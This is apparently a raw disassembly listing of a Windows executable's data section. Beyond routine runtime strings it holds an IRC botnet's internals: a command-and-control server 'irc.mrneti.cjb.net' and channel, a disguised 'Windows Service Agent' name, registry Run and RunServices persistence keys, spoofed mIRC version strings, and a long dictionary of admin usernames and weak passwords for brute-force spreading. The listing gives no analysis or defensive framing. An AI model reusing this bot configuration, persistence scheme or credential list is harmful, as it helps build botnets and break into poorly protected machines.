aCzech		db 'czech',0            ; DATA XREF: .XComp0:00453070o
		align 10h
aChina		db 'china',0            ; DATA XREF: .XComp0:00453068o
		align 4
aBritain	db 'britain',0          ; DATA XREF: .XComp0:00453060o
aAmerica	db 'america',0          ; DATA XREF: .XComp0:off_453058o
off_43F9E8	dd offset byte_617375	; DATA XREF: .XComp0:00453310o
dword_43F9EC	dd 7375h, 6B75h, 73697773h, 73h, 64657773h, 2D687369h
					; DATA XREF: .XComp0:00453108o
					; .XComp0:00453308o ...
		dd 6C6E6966h, 646E61h, 6E617073h, 2D687369h, 656E6576h
		dd 6C65757Ah, 61h, 6E617073h, 2D687369h, 67757275h, 796175h
		dd 6E617073h, 2D687369h, 72657570h, 72206F74h, 6F6369h
		dd 6E617073h, 2D687369h, 75726570h, 0
aSpanishParagua	db 'spanish-paraguay',0 ; DATA XREF: .XComp0:004532C8o
		align 4
aSpanishPanama	db 'spanish-panama',0   ; DATA XREF: .XComp0:004532C0o
		align 4
aSpanishNicarag	db 'spanish-nicaragua',0 ; DATA XREF: .XComp0:004532B8o
		align 4
aSpanishModern	db 'spanish-modern',0   ; DATA XREF: .XComp0:004532B0o
		align 4
aSpanishMexican	db 'spanish-mexican',0  ; DATA XREF: .XComp0:004532A8o
aSpanishHondura	db 'spanish-honduras',0 ; DATA XREF: .XComp0:004532A0o
		align 10h
aSpanishGuatema	db 'spanish-guatemala',0 ; DATA XREF: .XComp0:00453298o
		align 4
aSpanishElSalva	db 'spanish-el salvador',0 ; DATA XREF: .XComp0:00453290o
aSpanishEcuador	db 'spanish-ecuador',0  ; DATA XREF: .XComp0:00453288o
aSpanishDominic	db 'spanish-dominican republic',0 ; DATA XREF: .XComp0:00453280o
		align 4
aSpanishCostaRi	db 'spanish-costa rica',0 ; DATA XREF: .XComp0:00453278o
		align 4
aSpanishColombi	db 'spanish-colombia',0 ; DATA XREF: .XComp0:00453270o
		align 4
aSpanishChile	db 'spanish-chile',0    ; DATA XREF: .XComp0:00453268o
		align 4
aSpanishBolivia	db 'spanish-bolivia',0  ; DATA XREF: .XComp0:00453260o
aSpanishArgenti	db 'spanish-argentina',0 ; DATA XREF: .XComp0:00453258o
		align 10h
aPortugueseBraz	db 'portuguese-brazilian',0 ; DATA XREF: .XComp0:00453250o
		align 4
aNorwegianNynor	db 'norwegian-nynorsk',0 ; DATA XREF: .XComp0:00453248o
		align 4
aNorwegianBokma	db 'norwegian-bokmal',0 ; DATA XREF: .XComp0:00453240o
		align 10h
aNorwegian	db 'norwegian',0        ; DATA XREF: .XComp0:00453238o
		align 4
aItalianSwiss	db 'italian-swiss',0    ; DATA XREF: .XComp0:00453230o
		align 4
aIrishEnglish	db 'irish-english',0    ; DATA XREF: .XComp0:00453228o
		align 4
aGermanSwiss	db 'german-swiss',0     ; DATA XREF: .XComp0:00453220o
		align 4
aGermanLuxembou	db 'german-luxembourg',0 ; DATA XREF: .XComp0:00453218o
		align 10h
aGermanLichtens	db 'german-lichtenstein',0 ; DATA XREF: .XComp0:00453210o
aGermanAustrian	db 'german-austrian',0  ; DATA XREF: .XComp0:00453208o
aFrenchSwiss	db 'french-swiss',0     ; DATA XREF: .XComp0:00453200o
		align 4
aFrenchLuxembou	db 'french-luxembourg',0 ; DATA XREF: .XComp0:004531F8o
		align 4
aFrenchCanadian	db 'french-canadian',0  ; DATA XREF: .XComp0:004531F0o
aFrenchBelgian	db 'french-belgian',0   ; DATA XREF: .XComp0:004531E8o
		align 4
aEnglishUsa	db 'english-usa',0      ; DATA XREF: .XComp0:004531E0o
aEnglishUs	db 'english-us',0       ; DATA XREF: .XComp0:004531D8o
		align 10h
aEnglishUk	db 'english-uk',0       ; DATA XREF: .XComp0:004531D0o
		align 4
aEnglishTrinida	db 'english-trinidad y tobago',0 ; DATA XREF: .XComp0:004531C8o
		align 4
aEnglishSouthAf	db 'english-south africa',0 ; DATA XREF: .XComp0:004531C0o
		align 10h
aEnglishNz	db 'english-nz',0       ; DATA XREF: .XComp0:004531B8o
		align 4
aEnglishJamaica	db 'english-jamaica',0  ; DATA XREF: .XComp0:004531B0o
aEnglishIre	db 'english-ire',0      ; DATA XREF: .XComp0:004531A8o
aEnglishCaribbe	db 'english-caribbean',0 ; DATA XREF: .XComp0:004531A0o
		align 4
aEnglishCan	db 'english-can',0      ; DATA XREF: .XComp0:00453198o
aEnglishBelize	db 'english-belize',0   ; DATA XREF: .XComp0:00453190o
		align 4
aEnglishAus	db 'english-aus',0      ; DATA XREF: .XComp0:00453188o
aEnglishAmerica	db 'english-american',0 ; DATA XREF: .XComp0:00453180o
		align 4
aDutchBelgian	db 'dutch-belgian',0    ; DATA XREF: .XComp0:00453178o
		align 4
aChineseTraditi	db 'chinese-traditional',0 ; DATA XREF: .XComp0:00453170o
aChineseSingapo	db 'chinese-singapore',0 ; DATA XREF: .XComp0:00453168o
		align 10h
aChineseSimplif	db 'chinese-simplified',0 ; DATA XREF: .XComp0:00453160o
		align 4
aChineseHongkon	db 'chinese-hongkong',0 ; DATA XREF: .XComp0:00453158o
		align 4
aChinese	db 'chinese',0          ; DATA XREF: .XComp0:00453150o
aChi		db 'chi',0              ; DATA XREF: .XComp0:00453148o
aChh		db 'chh',0              ; DATA XREF: .XComp0:00453140o
aCanadian	db 'canadian',0         ; DATA XREF: .XComp0:00453138o
		align 4
aBelgian	db 'belgian',0          ; DATA XREF: .XComp0:00453130o
aAustralian	db 'australian',0       ; DATA XREF: .XComp0:00453128o
		align 4
aAmericanEnglis	db 'american-english',0 ; DATA XREF: .XComp0:00453120o
		align 4
aAmericanEngl_0	db 'american english',0 ; DATA XREF: .XComp0:00453118o
		align 10h
aAmerican	db 'american',0         ; DATA XREF: .XComp0:off_453110o
		align 4
off_43FDFC	dd offset loc_50434D+2	; DATA XREF: sub_437910:loc_437963o
off_43FE00	dd offset loc_504340+1	; DATA XREF: sub_437910+16o
dword_43FE04	dd 69736863h, 632E657Ah, 0dword_43FE10	dd 657A6973h, 203D3E20h, 30hdword_43FE1C	dd 4E512331h, 4E41hdword_43FE24	dd 4E492331h, 46hdword_43FE2C	dd 4E492331h, 44hdword_43FE34	dd 4E532331h, 4E41h, 6D6D3A48h,	73733Ah, 64646464h, 4D4D202Ch
					; DATA XREF: sub_439080+125o
					; .XComp0:004533C8o
		dd 64204D4Dh, 79202C64h, 797979h, 2F642F4Dh, 7979h, 4D50h
		dd 4D41h, 65636544h, 7265626Dh,	0
aNovember	db 'November',0         ; DATA XREF: .XComp0:004533B0o
		align 10h
aOctober	db 'October',0          ; DATA XREF: .XComp0:004533ACo
aSeptember	db 'September',0        ; DATA XREF: .XComp0:004533A8o
		align 4
aAugust		db 'August',0           ; DATA XREF: .XComp0:004533A4o
		align 4
aJuly		db 'July',0             ; DATA XREF: .XComp0:004533A0o
		align 4
aJune		db 'June',0             ; DATA XREF: .XComp0:0045339Co
		align 4
aApril		db 'April',0            ; DATA XREF: .XComp0:00453394o
		align 4
aMarch		db 'March',0            ; DATA XREF: .XComp0:00453390o
		align 4
aFebruary	db 'February',0         ; DATA XREF: .XComp0:0045338Co
		align 4
aJanuary	db 'January',0          ; DATA XREF: .XComp0:00453388o
aDec		db 'Dec',0              ; DATA XREF: .XComp0:00453384o
aNov		db 'Nov',0              ; DATA XREF: .XComp0:00453380o
aOct		db 'Oct',0              ; DATA XREF: .XComp0:0045337Co
aSep		db 'Sep',0              ; DATA XREF: .XComp0:00453378o
aAug		db 'Aug',0              ; DATA XREF: .XComp0:00453374o
aJul		db 'Jul',0              ; DATA XREF: .XComp0:00453370o
aJun		db 'Jun',0              ; DATA XREF: .XComp0:0045336Co
aMay		db 'May',0              ; DATA XREF: .XComp0:00453368o
					; .XComp0:00453398o
aApr		db 'Apr',0              ; DATA XREF: .XComp0:00453364o
aMar		db 'Mar',0              ; DATA XREF: .XComp0:00453360o
aFeb		db 'Feb',0              ; DATA XREF: .XComp0:0045335Co
aJan		db 'Jan',0              ; DATA XREF: .XComp0:00453358o
aSaturday	db 'Saturday',0         ; DATA XREF: .XComp0:00453354o
		align 4
aFriday		db 'Friday',0           ; DATA XREF: .XComp0:00453350o
		align 4
aThursday	db 'Thursday',0         ; DATA XREF: .XComp0:0045334Co
		align 10h
aWednesday	db 'Wednesday',0        ; DATA XREF: .XComp0:00453348o
		align 4
aTuesday	db 'Tuesday',0          ; DATA XREF: .XComp0:00453344o
aMonday		db 'Monday',0           ; DATA XREF: .XComp0:00453340o
		align 4
aSunday		db 'Sunday',0           ; DATA XREF: .XComp0:0045333Co
		align 4
aSat		db 'Sat',0              ; DATA XREF: .XComp0:00453338o
aFri		db 'Fri',0              ; DATA XREF: .XComp0:00453334o
aThu		db 'Thu',0              ; DATA XREF: .XComp0:00453330o
aWed		db 'Wed',0              ; DATA XREF: .XComp0:0045332Co
aTue		db 'Tue',0              ; DATA XREF: .XComp0:00453328o
aMon		db 'Mon',0              ; DATA XREF: .XComp0:00453324o
aSun		db 'Sun',0              ; DATA XREF: .XComp0:off_453320o
aAP		db 'a/p',0              ; DATA XREF: sub_43A4F0:loc_43A6E3o
aAmPm		db 'am/pm',0            ; DATA XREF: sub_43A4F0:loc_43A6C3o
		align 4
aInithelp_c	db 'inithelp.c',0       ; DATA XREF: sub_43AA10+9Co
					; sub_43AA10+F1o
		align 4
dword_43FF78	dd 0FFFFFFFFh, 43ADD7h,	43ADDDh, 0FFFFFFFFh, 43AE56h, 43AE5Ch
					; DATA XREF: sub_43ACB0+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 10h
aTzset_c	db 'tzset.c',0          ; DATA XREF: sub_43B7C0+1D1o
aTz		db 'TZ',0               ; DATA XREF: sub_43B7C0+35o
		align 10h
dword_43FFE0	dd 0FFFFFFFFh, 43C19Dh,	43C1A3h, 0dword_43FFF0	dd 0FFFFFFFFh, 43C33Fh,	43C345hdword_43FFFC	dd 6D6F7477h, 766E6562h, 632Ehdword_440008	dd 6D635F61h, 632E70haCchcount10Cchc	db 'cchCount1==0 && cchCount2==1 || cchCount1==1 && cchCount2==0',0
					; DATA XREF: sub_43C5F0:loc_43C763o
		align 10h
dword_440050	dd 0FFFFFFFFh, 43C8CFh,	43C8D5h, 0FFFFFFFFh, 43C96Dh, 43C973h
					; DATA XREF: sub_43C5F0+5o
dword_440068	dd 65746573h, 632E766Eh, 0					; sub_43CA40+F2o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_43CF80+1Fo
		dd offset dword_440168
off_440088	dd offset sub_43D100	; DATA XREF: sub_43CFE0+44o
					; sub_43D0A0+1Fo ...
		dd offset sub_43D050
		dd offset sub_43D070
		dd offset dword_4401B8
off_440098	dd offset sub_43D220	; DATA XREF: sub_43D130+16o
					; sub_43D1D0+Ao ...
		dd offset sub_43D050
		dd offset sub_43D1F0
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_43D280+1Fo
		dd offset dword_440208
off_4400C0	dd offset sub_43D360	; DATA XREF: sub_43D2E0+16o
					; sub_43D310+Ao ...
		dd offset sub_43D050
		dd offset sub_43D330
		dd offset dword_440238
off_4400D0	dd offset sub_43D840	; DATA XREF: .XComp0:0043D81Ao
					; sub_43D870+Co ...
		dd offset sub_43D9E0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_43D9E0:loc_43D9F8o
		align 4
		dd offset dword_440280
off_4400F0	dd offset sub_43DA50	; DATA XREF: sub_43DA10+Ao
					; .XComp0:0043DB3Ao ...
		align 8
dword_4400F8	dd 0E06D7363h, 1, 2 dup(0)		dd 3, 19930520h, 2 dup(0)
off_440118	dd offset off_4537F0	; DATA XREF: .XComp0:0044014Co
					; .XComp0:004401A0o ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_440130	dd offset off_453808	; DATA XREF: .XComp0:00440148o
					; .XComp0:0044019Co ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_440130
		dd offset off_440118
dword_440150	dd 4 dup(0)			dd 2, 440148h
dword_440168	dd 3 dup(0)			dd offset off_453808
		dd offset dword_440150+8
		align 10h
off_440180	dd offset off_453828	; DATA XREF: .XComp0:00440198o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_440180
		dd offset off_440130
		dd offset off_440118
		dd 0
		db    0			; DATA XREF: .XComp0:004401C8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 440198h
dword_4401B8	dd 3 dup(0)			dd offset off_453828
		dd offset unk_4401A8
		align 10h
off_4401D0	dd offset off_453848	; DATA XREF: .XComp0:004401E8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4401D0
		dd offset off_440130
		dd offset off_440118
		dd 0
		db    0			; DATA XREF: .XComp0:00440218o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 4401E8h
dword_440208	dd 3 dup(0)			dd offset off_453848
		dd offset unk_4401F8
		dd offset off_440118
dword_440220	dd 4 dup(0)			dd 1, 44021Ch
dword_440238	dd 3 dup(0)			dd offset off_4537F0
		dd offset dword_440220+8
		align 10h
off_440250	dd offset off_453868	; DATA XREF: .XComp0:00440268o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_440250
dword_44026C	dd 3 dup(0)			dd 1, 440268h
dword_440280	dd 3 dup(0)			dd offset off_453868
		dd offset dword_44026C+4
		align 8
dword_440298	dd 19930520h, 2, 4402B8h, 5 dup(0)		dd 0FFFFFFFFh, 43DBB9h,	0
		dd offset sub_43DBB0
dword_4402C8	dd 19930520h, 2, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 43DBDAh,	0
		dd offset loc_43DBE3
dword_4402F8	dd 19930520h, 2, 440318h, 1, 440328h, 3	dup(0)
					; DATA XREF: .XComp0:loc_43DBF8o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440340h, 4	dup(0)
		dd offset loc_410E84
		dd 0
		dd offset off_4537F0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	43D8E0h, 2 dup(0)
		dd offset off_453808
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	43CFE0h, 2 dup(0)
		dd offset off_453828
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	43D250h, 0
dword_4403B0	dd 3, 440390h, 440370h,	440350hdword_4403C0	dd 0							; sub_43D1F0+15o
		dd offset sub_43D1D0
		dd 0
		dd offset dword_4403B0
dword_4403D0	dd 19930520h, 1, 4403F0h, 5 dup(0)		dd 0FFFFFFFFh, 43DC10h
dword_4403F8	dd 19930520h, 1, 440418h, 5 dup(0)dword_440418	dd 0FFFFFFFFh, 43DC30h,	2, 440370h, 440350h, 0
					; DATA XREF: .XComp0:0044043Co
dword_440430	dd 0				dd offset sub_43D0A0
		dd 0
		dd offset dword_440418+8
dword_440440	dd 19930520h, 1, 440460h, 5 dup(0)		dd 0FFFFFFFFh, 43DC50h
dword_440468	dd 19930520h, 1, 440488h, 5 dup(0)		dd 0FFFFFFFFh, 43DC70h,	0
		dd offset off_453848
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	43D390h, 0
dword_4404B0	dd 3, 440490h, 440370h,	440350hdword_4404C0	dd 0							; sub_43D330+15o
		dd offset sub_43D310
		dd 0
		dd offset dword_4404B0
dword_4404D0	dd 19930520h, 1, 4404F0h, 5 dup(0)		dd 0FFFFFFFFh, 43DC90h,	2C2h dup(0)
dword_441000	dd 0				dd offset sub_401682
		dd offset sub_41073A
		dd offset sub_413748
		dd offset sub_43D3C0
dword_441014	dd 0		dword_441018	dd 0				dd offset sub_423C90
		dd offset sub_4249E0
		dd offset sub_42BFE0
		dd offset sub_435990
dword_44102C	dd 0		dword_441030	dd 0				dd offset sub_424B10
dword_441038	dd 0		dword_44103C	dd 0				dd offset sub_4359B0
dword_441044	dd 3 dup(0)	dword_441050	dd 80000002h	off_441054	dd offset byte_441170	; DATA XREF: sub_401000+2Er
		dd 80000002h, 4411A0h, 80000001h, 441170h
dword_441068	dd 6272h	dword_44106C	dd 0C12h						; sub_4016A7+68Dr
dword_441070	dd 0C12h			dd 7E4h
dword_441078	dd 45h		dword_44107C	dd 50h							; sub_4021E5:loc_40580Er ...
		dd 201h
word_441084	dw 7C7h			; DATA XREF: sub_4021E5+1D49r
					; sub_4021E5:loc_403F67r
		align 4
dword_441088	dd 1		dword_44108C	dd 1							; sub_41A907+9r
byte_441090	db 2Eh			; DATA XREF: sub_4021E5+EECr
					; sub_4021E5+1299r ...
		align 4
dword_441094	dd 5							; .XComp0:0040CA70r ...
dword_441098	dd 4							; sub_4021E5+3E6r ...
dword_44109C	dd 1							; sub_4021E5+3E0r
dword_4410A0	dd 33643063h, 724D2072h, 6974654Eh, 0					; sub_4021E5:loc_404879o ...
dword_4410B0	dd 33643063h, 724D2072h, 6974654Eh, 0aMrneti_0	db 'mrneti',0           ; DATA XREF: sub_4021E5+FCBo
					; sub_4021E5+1174o
		align 4
aIrc_mrneti_cjb	db 'irc.mrneti.cjb.net',0 ; DATA XREF: sub_4016A7+5A8o
					; sub_4016A7+67Bo
		align 4
aMrneti		db '##mrneti##',0       ; DATA XREF: sub_4016A7+5C6o
					; sub_4016A7+699o
		align 4
byte_4410E8	db 6Dh			; DATA XREF: sub_4016A7:loc_401851o
					; sub_4016A7+1D4w ...
		db 73h,	6Eh, 67h
		dd 2E726165h, 657865h, 6E6E6977h, 61622E74h, 74h
aWindowsService	db 'Windows Service Agent',0 ; DATA XREF: sub_401000+5Co
					; sub_401000:loc_40106Co
		align 4
aXxxxx		db '[XxXxX]',0          ; DATA XREF: .XComp0:0040CA49o
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_4021E5+331o
		align 4
aMrnetiex	db '##mrnetiex##',0     ; DATA XREF: sub_4021E5+3E5Do
					; sub_4021E5+3E6Do ...
		align 4
aMrneti_1	db '##mrneti##',0
		align 10h
aMrneti_2	db '##mrneti##',0
		align 4
off_44115C	dd offset dword_4414B0	; DATA XREF: sub_4021E5+107Dr
off_441160	dd offset aMircV6_16Khale ; DATA XREF: sub_4021E5+AA0r
					; sub_4021E5+AB3r
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
byte_441170	db 53h			; DATA XREF: .XComp0:off_441054o
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 10h
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41D7E0+24o
					; sub_41DC42+24o
		align 10h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41D7E0+F7o
					; sub_41DC42+F7o
		align 4
		dd 1
dword_44121C	dd 1				dd 204C5255h, 45524548h, 0
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrado_0 ; "administrador"
		dd offset aAdministrate_0 ; "administrateur"
		dd offset aAdministrat_0 ; "administrat"
		dd offset aAdmins_0	; "admins"
		dd offset aAdmin_1	; "admin"
		dd offset aStaff_0	; "staff"
		dd offset aRoot_1	; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent_0	; "student"
		dd offset aTeacher_0	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_1	; "guest"
		dd offset aDefault_0	; "default"
		dd offset aDatabase_0	; "database"
		dd offset off_4415DC
		dd offset aOracle_0	; "oracle"
		dd offset aDb2_0	; "db2"
		dd 0
		dd offset dword_4E15A8
		dd offset aAdministrato_2 ; "administrator"
		dd offset aAdministrado_1 ; "administrador"
		dd offset aAdministrate_1 ; "administrateur"
		dd offset aAdministrat_1 ; "administrat"
		dd offset aAdmins_1	; "admins"
		dd offset aAdmin_2	; "admin"
		dd offset aAdm_0	; "adm"
		dd offset aPassword1_0	; "password1"
		dd offset aPassword_0	; "password"
		dd offset aPasswd_0	; "passwd"
		dd offset aPass1234_0	; "pass1234"
		dd offset aPass_0	; "pass"
		dd offset aPwd_0	; "pwd"
		dd offset a007_0	; "007"
		dd offset a1_0		; "1"
		dd offset a12_0		; "12"
		dd offset a123_0	; "123"
		dd offset a1234_0	; "1234"
		dd offset a12345_0	; "12345"
		dd offset a123456_0	; "123456"
		dd offset a1234567_0	; "1234567"
		dd offset a12345678_0	; "12345678"
		dd offset a123456789_0	; "123456789"
		dd offset a1234567890_0	; "1234567890"
		dd offset a2000_0	; "2000"
		dd offset a2001_0	; "2001"
		dd offset a2002_0	; "2002"
		dd offset a2003_1	; "2003"
		dd offset a2004_0	; "2004"
		dd offset aTest_0	; "test"
		dd offset aGuest_2	; "guest"
		dd offset aNone_0	; "none"
		dd offset aDemo_0	; "demo"
		dd offset aUnix_0	; "unix"
		dd offset aLinux_0	; "linux"
		dd offset aChangeme_0	; "changeme"
		dd offset aDefault_1	; "default"
		dd offset aSystem_0	; "system"
		dd offset aServer_5	; "server"
		dd offset aRoot_2	; "root"
		dd offset aNull_2	; "null"
		dd offset aQwerty_0	; "qwerty"
		dd offset aMail_0	; "mail"
		dd offset aOutlook_0	; "outlook"
		dd offset aWeb_0	; "web"
		dd offset aWww_0	; "www"
		dd offset aInternet_1	; "internet"
		dd offset aAccounts_0	; "accounts"
		dd offset aAccounting_0	; "accounting"
		dd offset aHome_0	; "home"
		dd offset aHomeuser_0	; "homeuser"
		dd offset aUser_2	; "user"
		dd offset aOem_0	; "oem"
		dd offset aOemuser_0	; "oemuser"
		dd offset aOeminstall_0	; "oeminstall"
		dd offset aWindows_0	; "windows"
		dd offset aWin98_0	; "win98"
		dd offset aWin2k_0	; "win2k"
		dd offset aWinxp_0	; "winxp"
		dd offset aWinnt_0	; "winnt"
		dd offset aWin2000_0	; "win2000"
		dd offset aQaz_0	; "qaz"
		dd offset aAsd_0	; "asd"
		dd offset aZxc_0	; "zxc"
		dd offset aQwe_0	; "qwe"
		dd offset aBob_1	; "bob"
		dd offset aJen_0	; "jen"
		dd offset aJoe_0	; "joe"
		dd offset aFred_0	; "fred"
		dd offset aBill_0	; "bill"
		dd offset aMike_0	; "mike"
		dd offset aJohn_0	; "john"
		dd offset aPeter_1	; "peter"
		dd offset aLuke_0	; "luke"
		dd offset aSam_0	; "sam"
		dd offset aSue_0	; "sue"
		dd offset aSusan_0	; "susan"
		dd offset aPeter_2	; "peter"
		dd offset aBrian_0	; "brian"
		dd offset aLee_0	; "lee"
		dd offset aNeil_0	; "neil"
		dd offset aIan_0	; "ian"
		dd offset aChris_0	; "chris"
		dd offset aEric_0	; "eric"
		dd offset aGeorge_0	; "george"
		dd offset aKate_0	; "kate"
		dd offset aBob_2	; "bob"
		dd offset aKatie_0	; "katie"
		dd offset aMary_0	; "mary"
		dd offset aLogin_1	; "login"
		dd offset aLoginpass_0	; "loginpass"
		dd offset aTechnical_0	; "technical"
		dd offset aBackup_0	; "backup"
		dd offset aExchange_0	; "exchange"
		dd offset aFuck_0	; "fuck"
		dd offset aBitch_0	; "bitch"
		dd offset aSlut_0	; "slut"
		dd offset aSex_0	; "sex"
		dd offset aGod_0	; "god"
		dd offset aHell_0	; "hell"
		dd offset aHello_0	; "hello"
		dd offset aDomain_0	; "domain"
		dd offset aDomainpass_0	; "domainpass"
		dd offset aDomainpasswo_0 ; "domainpassword"
		dd offset aDatabase_1	; "database"
		dd offset aAccess_0	; "access"
		dd offset aDbpass_0	; "dbpass"
		dd offset aDbpassword_0	; "dbpassword"
		dd offset aDatabasepass_0 ; "databasepass"
		dd offset aData_0	; "data"
		dd offset aDatabasepass_1 ; "databasepassword"
		dd offset aDb1_0	; "db1"
		dd offset aDb2_1	; "db2"
		dd offset aDb1234_0	; "db1234"
		dd offset aSa_0		; "sa"
		dd offset aSql_0	; "sql"
		dd offset aSqlpassoains_0 ; "sqlpassoainstall"
		dd offset aOrainstall_0	; "orainstall"
		dd offset aOracle_1	; "oracle"
		dd offset aIbm_0	; "ibm"
		dd offset aCisco_0	; "cisco"
		dd offset aDell_0	; "dell"
		dd offset aCompaq_0	; "compaq"
		dd offset aSiemens_0	; "siemens"
		dd offset aHp_0		; "hp"
		dd offset aNokia_0	; "nokia"
		dd offset aXp_0		; "xp"
		dd offset aControl_0	; "control"
		dd offset aOffice_0	; "office"
		dd offset aBlank_0	; "blank"
		dd offset aWinpass_0	; "winpass"
		dd offset aMain_0	; "main"
		dd offset aLan_0	; "lan"
		dd offset aInternet_2	; "internet"
		dd offset aIntranet_0	; "intranet"
		dd offset aStudent_1	; "student"
		dd offset aTeacher_1	; "teacher"
		dd offset aStaff_1	; "staff"
		dd 0
dword_4414AC	dd 10h							; sub_417280+A5r ...
dword_4414B0	dd 40h		aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:off_441160o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:00441164o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:00441168o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .XComp0:0044116Co
		align 4
aAdministrato_1	db 'administrator',0    ; DATA XREF: .XComp0:0044122Co
		align 4
aAdministrado_0	db 'administrador',0    ; DATA XREF: .XComp0:00441230o
		align 4
aAdministrate_0	db 'administrateur',0   ; DATA XREF: .XComp0:00441234o
		align 4
aAdministrat_0	db 'administrat',0      ; DATA XREF: .XComp0:00441238o
aAdmins_0	db 'admins',0           ; DATA XREF: .XComp0:0044123Co
		align 4
aAdmin_1	db 'admin',0            ; DATA XREF: .XComp0:00441240o
		align 10h
aStaff_0	db 'staff',0            ; DATA XREF: .XComp0:00441244o
		align 4
aRoot_1		db 'root',0             ; DATA XREF: .XComp0:00441248o
		align 10h
aComputer	db 'computer',0         ; DATA XREF: .XComp0:0044124Co
		align 4
aOwner		db 'owner',0            ; DATA XREF: .XComp0:00441250o
		align 4
aStudent_0	db 'student',0          ; DATA XREF: .XComp0:00441254o
aTeacher_0	db 'teacher',0          ; DATA XREF: .XComp0:00441258o
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: .XComp0:0044125Co
		align 10h
aGuest_1	db 'guest',0            ; DATA XREF: .XComp0:00441260o
		align 4
aDefault_0	db 'default',0          ; DATA XREF: .XComp0:00441264o
aDatabase_0	db 'database',0         ; DATA XREF: .XComp0:00441268o
		align 4
off_4415DC	dd offset dword_616264	; DATA XREF: .XComp0:0044126Co
aOracle_0	db 'oracle',0           ; DATA XREF: .XComp0:00441270o
		align 4
aDb2_0		db 'db2',0              ; DATA XREF: .XComp0:00441274o
aAdministrato_2	db 'administrator',0    ; DATA XREF: .XComp0:00441280o
		align 4
aAdministrado_1	db 'administrador',0    ; DATA XREF: .XComp0:00441284o
		align 4
aAdministrate_1	db 'administrateur',0   ; DATA XREF: .XComp0:00441288o
		align 4
aAdministrat_1	db 'administrat',0      ; DATA XREF: .XComp0:0044128Co
aAdmins_1	db 'admins',0           ; DATA XREF: .XComp0:00441290o
		align 10h
aAdmin_2	db 'admin',0            ; DATA XREF: .XComp0:00441294o
		align 4
aAdm_0		db 'adm',0              ; DATA XREF: .XComp0:00441298o
aPassword1_0	db 'password1',0        ; DATA XREF: .XComp0:0044129Co
		align 4
aPassword_0	db 'password',0         ; DATA XREF: .XComp0:004412A0o
		align 4
aPasswd_0	db 'passwd',0           ; DATA XREF: .XComp0:004412A4o
		align 4
aPass1234_0	db 'pass1234',0         ; DATA XREF: .XComp0:004412A8o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: .XComp0:004412ACo
		align 10h
aPwd_0		db 'pwd',0              ; DATA XREF: .XComp0:004412B0o
a007_0		db '007',0              ; DATA XREF: .XComp0:004412B4o
a1_0:					; DATA XREF: .XComp0:004412B8o
		unicode	0, <1>,0
a12_0		db '12',0               ; DATA XREF: .XComp0:004412BCo
		align 10h
a123_0		db '123',0              ; DATA XREF: .XComp0:004412C0o
a1234_0		db '1234',0             ; DATA XREF: .XComp0:004412C4o
		align 4
a12345_0	db '12345',0            ; DATA XREF: .XComp0:004412C8o
		align 4
a123456_0	db '123456',0           ; DATA XREF: .XComp0:004412CCo
		align 4
a1234567_0	db '1234567',0          ; DATA XREF: .XComp0:004412D0o
a12345678_0	db '12345678',0         ; DATA XREF: .XComp0:004412D4o
		align 10h
a123456789_0	db '123456789',0        ; DATA XREF: .XComp0:004412D8o
		align 4
a1234567890_0	db '1234567890',0       ; DATA XREF: .XComp0:004412DCo
		align 4
a2000_0		db '2000',0             ; DATA XREF: .XComp0:004412E0o
		align 10h
a2001_0		db '2001',0             ; DATA XREF: .XComp0:004412E4o
		align 4
a2002_0		db '2002',0             ; DATA XREF: .XComp0:004412E8o
		align 10h
a2003_1		db '2003',0             ; DATA XREF: .XComp0:004412ECo
		align 4
a2004_0		db '2004',0             ; DATA XREF: .XComp0:004412F0o
		align 10h
aTest_0		db 'test',0             ; DATA XREF: .XComp0:004412F4o
		align 4
aGuest_2	db 'guest',0            ; DATA XREF: .XComp0:004412F8o
		align 10h
aNone_0		db 'none',0             ; DATA XREF: .XComp0:004412FCo
		align 4
